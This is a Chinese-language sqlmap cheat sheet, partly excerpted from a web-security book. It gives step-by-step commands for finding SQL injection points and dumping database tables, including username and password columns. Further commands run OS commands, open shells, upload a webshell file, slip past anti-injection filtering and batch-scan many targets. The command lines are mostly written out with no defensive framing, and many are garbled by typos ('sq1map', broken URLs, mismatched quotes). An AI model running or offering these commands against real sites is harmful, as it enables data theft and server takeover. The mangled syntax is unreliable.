目录
第一篇 认识SQLAMP
摘自《web安全深度剖析》
1 基本信息
-
数据库支持MySQL、Oracle、PostgreSQL、 Microsoft SQL Server、Microsoft Access、IBMDB2、SQLite、Firebird、 Sybase 和SAP MaxDB;
-
SQL注入类型包括SQL盲注、UNION注入、显错式注入、时间盲注、盲推理注入和堆查询注入等技术;
2 基本使用
第一步:判断是否是注入点。
sqlmap.py -u "http://www.xxser.com/user.jsp?id=1"
使用-u参数指定URL,如果URL存在注入点,将会显示出Web容器、数据库版本信息。
第二步:获取数据库。
sq1map.py -u "http://www.xxser.com/user.jsp?id=1”—dbs
第三步:查看当前应用程序所用数据库。
sq1map.py -u "http://www.xxser.com/user.jsp?id=1 --current-db
第四步:列出指定数据库的所有表。
sqlmap.py -u "http://www.xxser.com/user.jsp?id=1" --table -D "bbs"
使用--table参数获取数据库表,-D 参数指定数据库。
第五步:读取指定表中的字段名称。
sq1map.py -u "http://www.xxser.com/user.jsp?id=1”--columns -T "User" -D "bbs"
第六步:读取指定字段内容。
sq1map.py -u "http://www. xxser . com/user. jsp?id=1”--dump -C "UserName,PassWord,Email" -T "[User]" -D "bbs"
在读取数据后,SQLMap 将会把读取的数据转存到SQLMap/output/目录 下,文件以"Table.cvs"保存。
3 基本参数
(1)测试注入点权限
sqlmap.py -u [URL] – privileges //测试所有用户的权限
sq1map.py -u [URL] -- privileges -U sa //测试sa用户权限
sq1map.py -u [URL] --is-dba
注: SQLMap 命令区分大小写,-u 与-U是两个参数。
(2)执行Shell命令
sqlmap.py -u [URL] --os-cmd="net user" //执行net user命令
sqlmap.py -u [URL] --os-shell //系统交互的shell
(3)执行SQL命令
sq1map.py -u [URL] --sql-shell //返回SQL交互的shell,可以执行SQL语句
sq1map.py -u [URL] --sql -query="sql"
(4) POST提交方式
sq1map.py -u [URL] --data "POST 参数"
(5)显示详细的等级
sq1map.py -u [URL] --dbs -V 1
-v参数包含以下7个等级。
0:只显示Python的回溯、错误和关键消息;
1:显示信息和警告消息;
2:显示调试消息;
3:有效载荷注入;
4:显示HTTP请求;
5:显示HTTP响应头;
6:显示HTTP响应页面的内容。
(6)注入HTTP请求
sqlmap.py -r head.txt - -dbs //head.txt内容为HTTP请求
(7)直接连接到数据库
sq1map.py -d "mysq1:/ /admin:admin@192.168.1.8:3306/testdb" --dbs
(8)注入等级
sqlmap.py -u [URL] --level 3
(9)将注入语句插入到指定位置
sqlmap.py -u "http: / /www. xxser. com/ id/2* . html" –dbs
(10)使用SQLMap插件
sqlmap.py -u [URL] – tamper 'space2morehash. py"
第二篇 骚操作
1 cookie 注入
当程序有防 get 注入的时候,可以使用 cookie 注入
sqlmap -u “” -- cookie “id=11” --level 2
(只有 level 达到 2 才会检测 cookie)
2 从 post 数据包中注入
可以使用 burpsuite 来抓取 post 包
sqlmap -r “c:\ request.txt” -p “username” –dbms mysql
指定 username 参数
3 防火墙探测
sqlmap -u “http://日月 lsj/post.php?id=1” --identify-waf
4 保存进度
sqlmap -u “http:// 日月 lsj/post.php?id=1“ –dbs-o “sqlmap.log”
保存进度
sqlmap -u “http:// 日月 lsj/post.php?id=1“ –dbs-o “sqlmap.log”
–resume
恢复已保存进度
5 模仿手机
sqlmap -u “http:// 日月 lsj/post.php ?id=1“ --mobile
6 指定测试参数
参数:-p,--skip
sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。
用-p参数设置想要测试的参数。例如: -p "id,user-anget"
用--level的值很大但是有个别参数不想测试的时候可以使用--skip参数。
--skip="user-angent.referer"
可以在指定参数后面加*
python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
7 爬行网站URL
参数:--crawl
sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
8 注入payload
参数:--prefix,--suffix
在有些环境中,需要在注入的payload的前面或者后面加一些过滤字符,来保证payload的正常执行
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/gts.php?id=1" --prefix "’" --suffix "-- "
9 利用正则过滤目标网址
为什么过滤目标网址,前面批量扫是让我们扫描burp的请求耶,那这么多请求,有的请求并非是我们要扫描的网址怎么办?用正则干掉他吧!!!
参数:--scope
例如:只想要www开头,.com/.net/.org结尾的网址
python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
10 读取与写入文件
首先找需要网站的物理路径,其次需要有可写或可读权限。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:
\1.php” –file-write “f:\webshell.php”
使用 shell 命令:
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
11 proxy 代理
sqlmap.py –u“http:// 日月 lsj/post.php?id=1“ –dbs –proxy=IP:80
12 ⾮交互模式
sqlmap.py –u“http:// 日月 lsj/post.php?id=1” –dbs --batch
13 指定类型
sqlmap.py –u“http:// 日月 lsj/post.php?id=1” –dbs -technique B
B:基于 Boolean 的盲注(Boolean based blind)
Q:内联查询(Inline queries)
T:基于时间的盲注(time based blind)
U:基于联合查询(Union query based)
E:基于错误(error based)
S:栈查询(stack queries)
14 启发式判断注⼊
sqlmap.py –u“http:// 日月 lsj/post.php?id=1” –dbs --smart
有时对⽬标⾮常多的 URL 进⾏测试,为节省时间,只对可能性较大的进行测试
15 批量
sqlmap.py -m urls.txt –batch
16 延时
sqlmap -u "" --delay 0.2 –batch
安全学习交流群:687398569